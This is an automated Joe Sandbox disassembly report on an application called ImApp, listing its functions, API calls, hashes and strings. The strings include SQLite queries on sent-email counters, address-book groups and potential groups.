Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: DomainName$GetFaviconCounter$SELECT DomainName FROM Domains WHERE GetFaviconCounter < :GetFaviconCounter
API String ID: 0-3998536778
Opcode ID: cf9d691338b7a540951e63911811a13b726161cb27e403b607b1f33443bf4a7f
Instruction ID: 7c576dd712bd4a6f7d4bf642cc7ffa35d170638f93b34fe82944eb8689413073
Opcode Fuzzy Hash: cf9d691338b7a540951e63911811a13b726161cb27e403b607b1f33443bf4a7f
Instruction Fuzzy Hash: 7F31E5B22487408FF300EF24C885BAEB7E5EBC4714F20092EF69683290DB759949DB52

Function 020CD630 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

_time64.MSVCR80 ref: 020CD659
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 020CD66B
#310.MFC80U(00000000,?,00015180,00000000,00000000,?,00015180,00000000), ref: 020CD68E
#2311.MFC80U(?,DELETE FROM PotentialGroupsMembers WHERE PotentialGroupID IN (SELECT PotentialGroupID FROM PotentialGroups WHERE SentTime < %d ),-0077F880), ref: 020CD6AE
#8.IMDBU(?,00000001,00000000,00000000,?,00015180,00000000), ref: 020CD6C5
#310.MFC80U(?,00000001,00000000,00000000,?,00015180,00000000), ref: 020CD6CE
#2311.MFC80U(?,DELETE FROM PotentialGroups WHERE SentTime < %d,-0077F880), ref: 020CD6E5
#8.IMDBU(00000001,00000001,00000000,?,?,?,?,?,?,00015180,00000000), ref: 020CD6F5
#578.MFC80U ref: 020CD705
#578.MFC80U ref: 020CD717

Strings

DELETE FROM PotentialGroups WHERE SentTime < %d, xrefs: 020CD6DF
DELETE FROM PotentialGroupsMembers WHERE PotentialGroupID IN (SELECT PotentialGroupID FROM PotentialGroups WHERE SentTime < %d ), xrefs: 020CD6A8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #2311#310#578$Unothrow_t@std@@@__ehfuncinfo$??2@_time64
String ID: DELETE FROM PotentialGroups WHERE SentTime < %d$DELETE FROM PotentialGroupsMembers WHERE PotentialGroupID IN (SELECT PotentialGroupID FROM PotentialGroups WHERE SentTime < %d )
API String ID: 3332459916-1471155668
Opcode ID: 33d902dd8cd14e47a395e2c1683d3c5557def79a1bdd702b54c8671d46f589d4
Instruction ID: 60c56f0c14ab39d0c9b060cbd5beb5c36c1a9e064db648124974ad7938a932f3
Opcode Fuzzy Hash: 33d902dd8cd14e47a395e2c1683d3c5557def79a1bdd702b54c8671d46f589d4
Instruction Fuzzy Hash: 2021EA75684300AFD300DB24DC45F5BB7E8FBC8B14F004A2DF94A972C0D675A918C666

Function 020CBAA0 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 50COMMON

Download Yara Rule

APIs

#9.IMDBU(INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberType,?,00000000,020CB948,00000000,?,00000001,00000000,00000000,?,00000000,00000000,?,00015180,00000000), ref: 020CBAB6
#9.IMDBU(INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberID,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberType,?,00000000,020CB948,00000000,?,00000001,00000000,00000000,?,00000000,00000000), ref: 020CBACE
#9.IMDBU(INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Date,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberID,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberType,?,00000000,020CB948,00000000,?,00000001,00000000,00000000), ref: 020CBAE8
#9.IMDBU(INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Counter,00000000,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Date,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberID,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberType,?,00000000,020CB948,00000000), ref: 020CBB02
#9.IMDBU(INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Product,00002000,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Counter,00000000,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Date,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberID,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberType,?,00000000), ref: 020CBB1C
#8.IMDBU(INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),00000001,00000000,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Product,00002000,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Counter,00000000,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),Date,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product),MemberID,?,INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product)), ref: 020CBB30

Strings

Product, xrefs: 020CBB10
Counter, xrefs: 020CBAF6
MemberID, xrefs: 020CBAC2
MemberType, xrefs: 020CBAA7
Date, xrefs: 020CBADC
INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product), xrefs: 020CBAAF, 020CBAC7, 020CBAE1, 020CBAFB, 020CBB15, 020CBB29

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: Counter$Date$INSERT INTO SentEmailsCount VALUES(:MemberType,:MemberID,:Date,:Counter,:Product)$MemberID$MemberType$Product
API String ID: 0-1768584403
Opcode ID: 0959bc1a96c87d2b84144088fdf464b631437fbc2c2fbb0a4cda78f337af6b7e
Instruction ID: fd37f30c8dec34ab4ad5aa103a7ea2982fa536f4bd63c5849ea13a6440c9f190
Opcode Fuzzy Hash: 0959bc1a96c87d2b84144088fdf464b631437fbc2c2fbb0a4cda78f337af6b7e
Instruction Fuzzy Hash: 7501AD727C4B112AB584A670CDE2FBE23AE4BA5A08F504208BA13AFA50DFC5DC413795

Function 020CBB40 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 49COMMON

Download Yara Rule

APIs

#9.IMDBU(UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Counter,-00000001,00000000,020CB931,00000000,?,00000000,00000000,?,00000000,00000000,?,00015180,00000000,00000000), ref: 020CBB53
#9.IMDBU(UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberType,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Counter,-00000001,00000000,020CB931,00000000,?,00000000,00000000,?,00000000,00000000), ref: 020CBB6C
#9.IMDBU(UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberID,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberType,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Counter,-00000001,00000000,020CB931,00000000,?,00000000,00000000), ref: 020CBB84
#9.IMDBU(UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Date,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberID,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberType,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Counter,-00000001,00000000,020CB931,00000000), ref: 020CBB9E
#9.IMDBU(UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Product,00000000,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Date,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberID,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberType,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Counter,-00000001,00000000), ref: 020CBBB8
#8.IMDBU(UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,00000001,00000000,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Product,00000000,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,Date,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberID,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc,MemberType,?,UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc), ref: 020CBBCC

Strings

Product, xrefs: 020CBBAC
Counter, xrefs: 020CBB44
MemberID, xrefs: 020CBB78
MemberType, xrefs: 020CBB60
UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc, xrefs: 020CBB4C, 020CBB65, 020CBB7D, 020CBB97, 020CBBB1, 020CBBC5
Date, xrefs: 020CBB92

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: Counter$Date$MemberID$MemberType$Product$UPDATE SentEmailsCount SET Counter=:Counter WHERE MemberType=:MemberType AND MemberID=:MemberID AND Date=:Date AND Product=:Produc
API String ID: 0-1627515104
Opcode ID: 115614dd439486d64ce515b3ac607d84c6a56b5bd6ecfda4b9d3b9a2f92ababd
Instruction ID: 9a517edb4b13db464c850cb8d8c491f364baff05b21247a1308d9ae0c94a679a
Opcode Fuzzy Hash: 115614dd439486d64ce515b3ac607d84c6a56b5bd6ecfda4b9d3b9a2f92ababd
Instruction Fuzzy Hash: 9D013C627C0B113AB9946370CCA3EAF235F8BA4B18B10441CBE179EA48DBCAD8417795

Function 020E7080 Relevance: 19.6, APIs: 13, Instructions: 125COMMON

Download Yara Rule

APIs

SftTree_GetCount.SFTTREE_IX86_U_60(?), ref: 020E70B6
SftTree_GetFlyby.SFTTREE_IX86_U_60(?,?), ref: 020E70C7
SftTree_SetCurSel.SFTTREE_IX86_U_60(?,00000000,?,?), ref: 020E70DF
#6061.MFC80U(00000000,00000000,00000000,00000000,?,00000036,?,00000000,?,?), ref: 020E7101
#95.IMLOOKEXU(00000036,00000000,00000000,00000000,00000000,?,00000036,?,00000000,?,?), ref: 020E710D
ClientToScreen.USER32(?,?), ref: 020E7133
IsRectEmpty.USER32(?), ref: 020E7140
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 020E7151
#6061.MFC80U(6AECE598,?,?,?,?,00000010), ref: 020E7197
#565.IMLOOKEXU(6AECE598,?,?,?,?,00000010), ref: 020E719F
SetWindowRgn.USER32(?,00000000,00000001), ref: 020E71AB
#6086.MFC80U(00000004), ref: 020E71B5
#38.SFTTREE_IX86_U_60 ref: 020E71CA

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: Tree_$#6061$#565#6086ClientCountEmptyFlybyInfoParametersRectScreenSystemWindow
String ID:
API String ID: 2133592534-0
Opcode ID: 7b99d66a9130213b4139eca683731d10d10438b15897c1efb9bbaafc7da195d3
Instruction ID: cb679893bea03386fffa55c287b7de59ad65467901e1491cc9b795b6b5993810
Opcode Fuzzy Hash: 7b99d66a9130213b4139eca683731d10d10438b15897c1efb9bbaafc7da195d3
Instruction Fuzzy Hash: B0416A713447019FCB14EF68C984F6BB3EABB88B04F104A1DF68A97290DB75E9458B91

Function 00418910 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93COMMON

Download Yara Rule

APIs

#1916.IMUTILSU(HideModeLog,CMainWnd::Cleanup,HideModeLog,00000000,FC8A6036), ref: 00418949
#1916.IMUTILSU(HideModeLog,Fast return in case the tray object is closed.,HideModeLog,00000000), ref: 0041896B
#678.IMUTILSU(?), ref: 004189D5
VariantClear.OLEAUT32(?), ref: 004189EC
#1916.IMUTILSU(HideModeLog,ManageIdentitiesRedundancy,HideModeLog,?), ref: 00418A0A
#1916.IMUTILSU(HideModeLog,Final release the tray object.,HideModeLog,00000000), ref: 00418A2A

Strings

CMainWnd::Cleanup, xrefs: 0041893F
HideModeLog, xrefs: 0041893A, 00418944, 0041895C, 00418966, 004189FB, 00418A05, 00418A1B, 00418A25
Final release the tray object., xrefs: 00418A20
ManageIdentitiesRedundancy, xrefs: 00418A00
Fast return in case the tray object is closed., xrefs: 00418961

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$#678ClearVariant
String ID: CMainWnd::Cleanup$Fast return in case the tray object is closed.$Final release the tray object.$HideModeLog$ManageIdentitiesRedundancy
API String ID: 4116787929-4050275539
Opcode ID: 7549b248ab313787e1c97650f20342bd5abe3fe0872db5baf9cf7603f8d1b708
Instruction ID: a767b6f5371940ac8cb9950151589afe76c743909fd62a4e4d4c4451803fc0c2
Opcode Fuzzy Hash: 7549b248ab313787e1c97650f20342bd5abe3fe0872db5baf9cf7603f8d1b708
Instruction Fuzzy Hash: D831C3B1B487109BC300EF19E942B57B6E0EF84B24FA1491FF45893392E77D95058A9A

Function 020C9500 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

#2.IMDBU(Groups,265105E4,AddrBook.db3,00000000,?,00000000,Function_0002BA69,000000FF,020C609A), ref: 020C952F
#310.MFC80U(Groups,265105E4,AddrBook.db3,00000000,?,00000000,Function_0002BA69,000000FF,020C609A), ref: 020C9550
#7.IMDBU(?,GroupID,00000000,00000001,00000000,00000000), ref: 020C9580
#6.IMDBU(Groups,?,00000000,?,GroupID,00000000,00000001,00000000,00000000), ref: 020C959B
#23.IMDBU(Name_Index,Groups,Name,00000001,Groups,?,00000000,?,GroupID,00000000,00000001,00000000,00000000), ref: 020C95B9
#578.MFC80U(Groups,?,00000000,?,GroupID,00000000,00000001,00000000,00000000), ref: 020C95CC

Strings

Groups, xrefs: 020C9528, 020C9594, 020C95AD
AddrBook.db3, xrefs: 020C9510
GroupID, xrefs: 020C9578
Name_Index, xrefs: 020C95B2
Name, xrefs: 020C95A8

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578
String ID: AddrBook.db3$GroupID$Groups$Name$Name_Index
API String ID: 3447019164-4226079316
Opcode ID: a7e6e8a68e2e14219db3e5ba1864d0398ef7dc8028745cffbee3acee8a4d0dc7
Instruction ID: e6bcd7de79e6c0fb959228ccd4050cf154301f31c1a26c528bf055de2fe965fe
Opcode Fuzzy Hash: a7e6e8a68e2e14219db3e5ba1864d0398ef7dc8028745cffbee3acee8a4d0dc7
Instruction Fuzzy Hash: 7621D0B27843009FE754CB18CC81FAAB7D6FBC8B20F540A1EF91697780EBB4A8009751

Function 020CD3E0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

#9.IMDBU(SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,PotentialGroupID,?,265105E4), ref: 020CD41A
#20.IMDBU(SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,PotentialGroupID,?,265105E4), ref: 020CD42B
#12.IMDBU(SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,?,00000001), ref: 020CD446
#19.IMDBU(SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,?,00000001), ref: 020CD453
#25.IMDBU(AssociatedMsgID,?,SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,?,00000001), ref: 020CD46A
#24.IMDBU(SentTime,?,AssociatedMsgID,?,SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,?,00000001), ref: 020CD485
#16.IMDBU(SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID,?,00000001), ref: 020CD4AD

Strings

SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID, xrefs: 020CD413, 020CD43F
PotentialGroupID, xrefs: 020CD40B
AssociatedMsgID, xrefs: 020CD461
SentTime, xrefs: 020CD474

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: AssociatedMsgID$PotentialGroupID$SELECT AssociatedMsgID, SentTime FROM PotentialGroups WHERE PotentialGroupID=:PotentialGroupID$SentTime
API String ID: 0-2585137702
Opcode ID: c474c464957da1e21e7c709b10b831c42a9b25293483689ca9da6204cbe36d2f
Instruction ID: 6c535561b817fa96aebe0391d213590e47a5307840e706bf5a4f86ac56f5a406
Opcode Fuzzy Hash: c474c464957da1e21e7c709b10b831c42a9b25293483689ca9da6204cbe36d2f
Instruction Fuzzy Hash: 192181B12483019FE704DB64C841BAFF3E5AB98710F10492DFA5687690E7B4E8449B52

Function 020CD4D0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

#10.IMDBU(SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,AssociatedMsgID,?,265105E4), ref: 020CD510
#20.IMDBU(SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,AssociatedMsgID,?,265105E4), ref: 020CD521
#12.IMDBU(SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,?,00000001), ref: 020CD53C
#19.IMDBU(SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,?,00000001), ref: 020CD549
#24.IMDBU(PotentialGroupID,?,SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,?,00000001), ref: 020CD55C
#24.IMDBU(SentTime,?,PotentialGroupID,?,SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,?,00000001), ref: 020CD577
#16.IMDBU(SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID,?,00000001), ref: 020CD59F

Strings

SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID, xrefs: 020CD503, 020CD535
PotentialGroupID, xrefs: 020CD553
AssociatedMsgID, xrefs: 020CD4FB
SentTime, xrefs: 020CD566

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID:
String ID: AssociatedMsgID$PotentialGroupID$SELECT PotentialGroupID, SentTime FROM PotentialGroups WHERE AssociatedMsgID=:AssociatedMsgID$SentTime
API String ID: 0-1721799886
Opcode ID: c17acd8903e463d8aa13f02133e4b6ebf163f1fd5744fd624373e32cb3d6283f
Instruction ID: 17356e04d548fc3739d487ddd79cca9a9fa3a6ebc3e18ce4955b23fb66977125
Opcode Fuzzy Hash: c17acd8903e463d8aa13f02133e4b6ebf163f1fd5744fd624373e32cb3d6283f
Instruction Fuzzy Hash: A8218EB16583019FE700DF24C851B9BB7E5AF88B14F108A2DF9568B690E7B4D844AB92

Function 020E0150 Relevance: 18.2, APIs: 12, Instructions: 226COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.MSVCR80(265105E4,00000066,00000000,?,00000000,000000FF,020DFF79,?,?,00000000,?,00008000,00000000,?,00000000), ref: 020E019B
_invalid_parameter_noinfo.MSVCR80(?,00000000,000000FF,020DFF79,?,?,00000000,?,00008000,00000000,?,00000000), ref: 020E01AD
_invalid_parameter_noinfo.MSVCR80(?,00000000,000000FF,020DFF79,?,?,00000000,?,00008000,00000000,?,00000000), ref: 020E01B8
_invalid_parameter_noinfo.MSVCR80 ref: 020E029B
_invalid_parameter_noinfo.MSVCR80 ref: 020E02CD
_invalid_parameter_noinfo.MSVCR80 ref: 020E02E3
_invalid_parameter_noinfo.MSVCR80 ref: 020E02EE
_invalid_parameter_noinfo.MSVCR80 ref: 020E0335
_invalid_parameter_noinfo.MSVCR80 ref: 020E0347
_invalid_parameter_noinfo.MSVCR80 ref: 020E0352
_invalid_parameter_noinfo.MSVCR80 ref: 020E0367
_invalid_parameter_noinfo.MSVCR80 ref: 020E03AD

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2e5c9a407c73673c12c46e01a8d5ef232eef772d8811ab4bd55936d2a9e41d3a
Instruction ID: 6ab36eb99e8ef0d260427262ccca339fc501b0d748b21ab3cb95f1d58cacf526
Opcode Fuzzy Hash: 2e5c9a407c73673c12c46e01a8d5ef232eef772d8811ab4bd55936d2a9e41d3a
Instruction Fuzzy Hash: DF917735648302CFCB51DF68C484B2AB7E6FF88314F054A4CE99AAB650C7B5F885DB91

Function 100035D0 Relevance: 18.2, APIs: 12, Instructions: 164COMMON

Download Yara Rule

APIs

Part of subcall function 10003170: TlsGetValue.KERNEL32(CCCCCCCC,DC7F1836,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031A8
Part of subcall function 10003170: #762.MFC80U(00000058,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031B6
Part of subcall function 10003170: TlsSetValue.KERNEL32(CCCCCCCC,00000000,?,?,?,?,?,?,?,?,?,?,?,1000AB4B,000000FF), ref: 100031E7
Part of subcall function 10003170: EnterCriticalSection.KERNEL32(-0000003C,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 100031FD
Part of subcall function 10003170: #731.IMUTILSU(?,?,?,?,?,?,1000B414,000000FF,1000185E,?,?), ref: 1000320B
Part of subcall function 10003170: LeaveCriticalSection.KERNEL32(-0000003C), ref: 1000321D
Part of subcall function 10003170: GetCurrentThreadId.KERNEL32 ref: 1000322B
Part of subcall function 10003170: WaitForSingleObject.KERNEL32(?,000000FF), ref: 1000323D
Part of subcall function 10003170: EnterCriticalSection.KERNEL32 ref: 10003260

LeaveCriticalSection.KERNEL32(DC7F17FA), ref: 1000362F
#6735.MFC80U(?), ref: 10003657
#578.MFC80U(?), ref: 1000367C
_invalid_parameter_noinfo.MSVCR80 ref: 10003691
LeaveCriticalSection.KERNEL32(DC7F17FA), ref: 100036B1
#762.MFC80U(00000010), ref: 100036D3
sqlite3_create_function16.SQLITE3(00000000,?,?,00000004,00000000,100037D0,00000000,00000000), ref: 10003723
#764.MFC80U(00000000), ref: 10003730
LeaveCriticalSection.KERNEL32(?), ref: 1000374C
